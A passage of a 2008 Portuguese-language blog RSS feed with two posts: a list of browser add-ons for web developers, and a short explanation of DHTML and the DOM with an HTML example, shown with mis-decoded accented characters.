		<comments>http://www.rafaelcunha.com/2008/05/19/ferramentas-para-desenvolver/#comments</comments>
		<pubDate>Mon, 19 May 2008 20:19:36 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>Informatica</category>

		<category>Trabalho</category>

		<category>JavaScript</category>

		<category>AJAX</category>

		<category>SEO</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/05/19/ferramentas-para-desenvolver/</guid>
		<description><![CDATA[Bom, existe uma grande discuÃ§Ã£o sobre ferramentas para desenvolver, seja ela web-based ou nÃ£o, a grande discuÃ§Ã£o fica por conta se realmente a ferramenta ira lhe ajudar a construir o melhor cÃ³digo no melhor tempo possÃ­vel. NÃ£o irei entrar no merito no momento sobre essa discuÃ§Ã£o; estou para dizer que existem ferramentas que nÃ£o podem [...]]]></description>
			<content:encoded><![CDATA[<p>Bom, existe uma grande discuÃ§Ã£o sobre ferramentas para desenvolver, seja ela web-based ou nÃ£o, a grande discuÃ§Ã£o fica por conta se realmente a ferramenta ira lhe ajudar a construir o melhor cÃ³digo no melhor tempo possÃ­vel. NÃ£o irei entrar no merito no momento sobre essa discuÃ§Ã£o; estou para dizer que existem ferramentas que nÃ£o podem faltar na vida do webdeveloper, algumas delas estÃ£o descritas abaixo :</p>
<ul>
<li>Para nosso amigo Firefox:</li>
</ul>
<ol>
<li><a target="_blank" title="FireBug" href="https://addons.mozilla.org/pt-BR/firefox/addon/1843" onclick="javascript:pageTracker._trackPageview('/outbound/article/https://addons.mozilla.org/pt-BR/firefox/addon/1843');">Firebug </a>: Ferramenta para debugar, monitorar e editar em tempo real no site, CSS, HTML e Javascript, ferramenta muito poderosa.</li>
<li><a target="_blank" title="YSlow" href="https://addons.mozilla.org/pt-BR/firefox/addon/5369" onclick="javascript:pageTracker._trackPageview('/outbound/article/https://addons.mozilla.org/pt-BR/firefox/addon/5369');">YSlow </a>: Ferramenta que analiza o site e traz estatÃ­stica se o site esta com performace baixa ou alta, baseada nas regras do Yahoo!.</li>
<li><a target="_blank" title="HttpFox" href="https://addons.mozilla.org/pt-BR/firefox/addon/6647" onclick="javascript:pageTracker._trackPageview('/outbound/article/https://addons.mozilla.org/pt-BR/firefox/addon/6647');">HttpFox </a>: Ferramenta que monitora e analiza entrada e saÃ­da do protocolo HTTP do website, muito importante para visualizar controles em <a href="http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29');"  class="alinks_links" onclick="return alinks_click(this);" title="Asynchronous JavaScript and XML"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">Ajax</a>.</li>
<li><a target="_blank" title="Web Developer" href="https://addons.mozilla.org/pt-BR/firefox/addon/60" onclick="javascript:pageTracker._trackPageview('/outbound/article/https://addons.mozilla.org/pt-BR/firefox/addon/60');">Web Developer tool bar </a>:Â  Ja dito ateriormente neste <a target="_blank" title="Barra web developer" href="http://www.rafaelcunha.com/2007/05/28/barra-web-developer/" >post</a>, ferramenta com multiplas ferramentas para web.</li>
</ol>
<ul>
<li>Para nosso <strike>inimigo</strike> amigo IE:</li>
</ul>
<ol>
<li><a target="_blank" title="IE Developer ToolBar" href="http://www.microsoft.com/downloads/details.aspx?familyid=E59C3964-672D-4511-BB3E-2D5E1DB91038&#038;displaylang=en" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.microsoft.com/downloads/details.aspx?familyid=E59C3964-672D-4511-BB3E-2D5E1DB91038&#038;displaylang=en');">Developer ToolBar </a>: Igual ao firebug, porÃ©m com menos recursos.</li>
<li><a target="_blank" title="Multiple IES" href="http://tredosoft.com/Multiple_IE" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://tredosoft.com/Multiple_IE');">MultiplesIEs </a>: Ferramenta para poder testar o site em diversas versÃµes do IE.</li>
</ol>
<p><!--53de19e30e6036bdfe79cc42016c5463--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/05/19/ferramentas-para-desenvolver/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DHTML, DOM e JavaScript DOM nÃ£o sÃ£o a mesma coisa</title>
		<link>http://www.rafaelcunha.com/2008/05/05/dhtml-dom-e-javascript-dom-nao-sao-a-mesma-coisa/</link>
		<comments>http://www.rafaelcunha.com/2008/05/05/dhtml-dom-e-javascript-dom-nao-sao-a-mesma-coisa/#comments</comments>
		<pubDate>Mon, 05 May 2008 11:11:08 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>Informatica</category>

		<category>JavaScript</category>

		<category>AJAX</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/05/05/dhtml-dom-e-javascript-dom-nao-sao-a-mesma-coisa/</guid>
		<description><![CDATA[Bom vou falar um pouco sobre conceitos, logo para apresentar para vocÃªs uma pouco o que realmente Ã© DHTML ou Dynamic HTML e DOM, o que seria esse DOM que todo mundo fala? O conceito de DHTML Ã© bem antigo, ja se usavam apartir do momento que lanÃ§aram o IE 4.0+, Netscape 7+, Mozilla e [...]]]></description>
			<content:encoded><![CDATA[<p>Bom vou falar um pouco sobre conceitos, logo para apresentar para vocÃªs uma pouco o que realmente Ã© DHTML ou Dynamic HTML e <a href="http://pt.wikipedia.org/wiki/DOM" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/DOM');"  class="alinks_links" onclick="return alinks_click(this);" title="Document Object Model"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">DOM</a>, o que seria esse DOM que todo mundo fala? O conceito de DHTML Ã© bem antigo, ja se usavam apartir do momento que lanÃ§aram o IE 4.0+, Netscape 7+, Mozilla e Firefox 1.0.</p>
<p>Ã‰ a idÃ©ia de tornar a pÃ¡gina dinÃ¢mica seria a possibilidade de transformar ou mudar estrutura da pÃ¡gina sem o reload dela, mudar um tÃ­tulo, cabeÃ§alho, cor, esconder algo do usuÃ¡rio ou mostrar num passe de mÃ¡gica, sem que ele espere pelo reload da pÃ¡gina inteira novamente.</p>
<p>Mas o que tem a ver DOM e Javascript com tudo isso ? DOM significa Document Object Model (Modelo de Objetos de Documento) que seria a estrutura HTML. Ã‰ basicamente uma arvÃ³re de nÃ³s.</p>
<p>Exemplo:</p>
<div class="igBar"><span id="lhtml-10"><a href="#" onclick="javascript:showCodeTxt('html-10'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-10">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/div.html" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://december.com/html/4/element/div.html');"><span style="color: #000000; font-weight: bold;">&lt;div</span></a> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">"xis"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/div.html" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://december.com/html/4/element/div.html');"><span style="color: #000000; font-weight: bold;">&lt;div</span></a> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">"Y"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/div.html" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://december.com/html/4/element/div.html');"><span style="color: #000000; font-weight: bold;">&lt;div</span></a> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">"H"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/div&gt;</span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/div&gt;</span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/div&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
No exemplo acima temos dentro da div XIS os seguintes nÃ³s XIS>Y>H . Dizendo como Ã© nossa estrutura. A idÃ©ia do DHTML Ã© de que com o JavaScript utilizando padronizaÃ§Ã£o (CSS, xHTML / HTML) podemos fazer mudanÃ§as nesta estrutura em tempo real para facilitar a vida do usuÃ¡rio, seja deixando um texto mais escuro, mudando uma img, abrindo e fechando caixas ou atÃ© mesmo com recursos mais avanÃ§ados como o <a href="http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29');"  class="alinks_links" onclick="return alinks_click(this);" title="Asynchronous JavaScript and XML"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">AJAX</a>.</p>
<p>AbraÃ§os e boa semana ; )<!--f61d07ee8a52b0c790d1b040194c51a3--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/05/05/dhtml-dom-e-javascript-dom-nao-sao-a-mesma-coisa/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
